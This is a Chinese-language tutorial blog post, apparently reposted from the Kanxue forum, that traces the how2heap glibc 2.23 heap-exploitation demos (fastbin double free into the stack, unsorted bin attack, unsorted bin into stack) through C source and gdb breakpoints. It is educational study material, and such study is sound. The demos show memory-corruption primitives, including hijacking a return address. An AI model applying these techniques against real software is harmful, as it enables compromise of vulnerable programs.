从汇编语言深入理解how2heap

新闻资讯   2023-06-22 18:01   92   0  

ptmalloc2的管理方式,chunk结构和bins的模型,在Overview of GLIBC heap exploitation techniques(https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/)和ctfwiki(https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/introduction/)已经讲解的非常清楚。


本文记录自己的学习堆利用的过程。这个系列每天更新一章,预计更新完glibc2.23,glibc2.27,glibc2.34。


主要工具:
pwncli(https://github.com/RoderickChan/pwncli)
PwnGdb(https://github.com/scwuaptx/Pwngdb)
gdb配置参考(https://bbs.kanxue.com/thread-276203.htm)

主要操作环境:
wsl-kali。配置参考我的另一篇文章(https://bbs.kanxue.com/thread-276122.htm)。
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7.7 + gdb调试。

我的.gdbinit文件:
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#set context-clear-screen on
#set debug-events off

#source /root/splitmind/gdbinit.py
#python

#sections = "regs"

#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"

#import splitmind

#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")

#legend_on = "code"
#if mode == "d":
# legend_on = "disasm"
# sections += " disasm"
# spliter.select("main").above(display="disasm", size="70%", banner="none")
# gdb.execute("set context-code-lines 30")

#elif mode == "s":
# sections += " code"
# spliter.select("main").above(display="code", size="70%", banner="none")
# gdb.execute("set context-source-code-lines 30")

#else:
# sections += " disasm code"
# spliter.select("main").above(display="code", size="70%")
# spliter.select("code").below(display="disasm", size="40%")
# gdb.execute("set context-code-lines 8")
# gdb.execute("set context-source-code-lines 20")


#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")

#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")

#spliter.build()

#end


Glibc2.23版本源码分析


fastbin_dup_into_stack

 
源码:
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
 
使用ubuntu:16.04进行编译。



使用pwncli改写rpath。



在malloc三次后, 0x400743处下断点。



查看堆信息,三个fastbin的堆块,f1,f2,f3。


在free(f1),free(f2),free(f1)后,在0x40083B下断点。



查看fastbinY信息。



0x20大小的fastbins链上形成了double free。

再次malloc两次后,设断点在0x40089F。



再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。


接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。



查看堆信息。


这时候在申请两次便可申请到栈上。



在0x40095c下断点。


可以看到,已经申请到了栈上的值。

unsorted_bin_attack

 
源码:
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
使用ubuntu:16.04进行编译,然后使用pwncli改写rpath。
 
首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。



查看bins和heap信息:

free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。


接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。



在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。


再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。



在0x400828下断点。查看heap和bins信息。



可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。

unsorted_bin_into_stack

 
源码:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};

printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);

printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);

printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);

printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------

printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);

intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

assert((long)__builtin_return_address(0) == (long)jackpot);
}
使用ubuntu16.04编译,然后使用pwncli改写rpath。




看雪ID:jelasin

https://bbs.kanxue.com/user-home-958172.htm

*本文为看雪论坛优秀文章,由 jelasin 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

文章引用微信公众号"看雪学苑",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。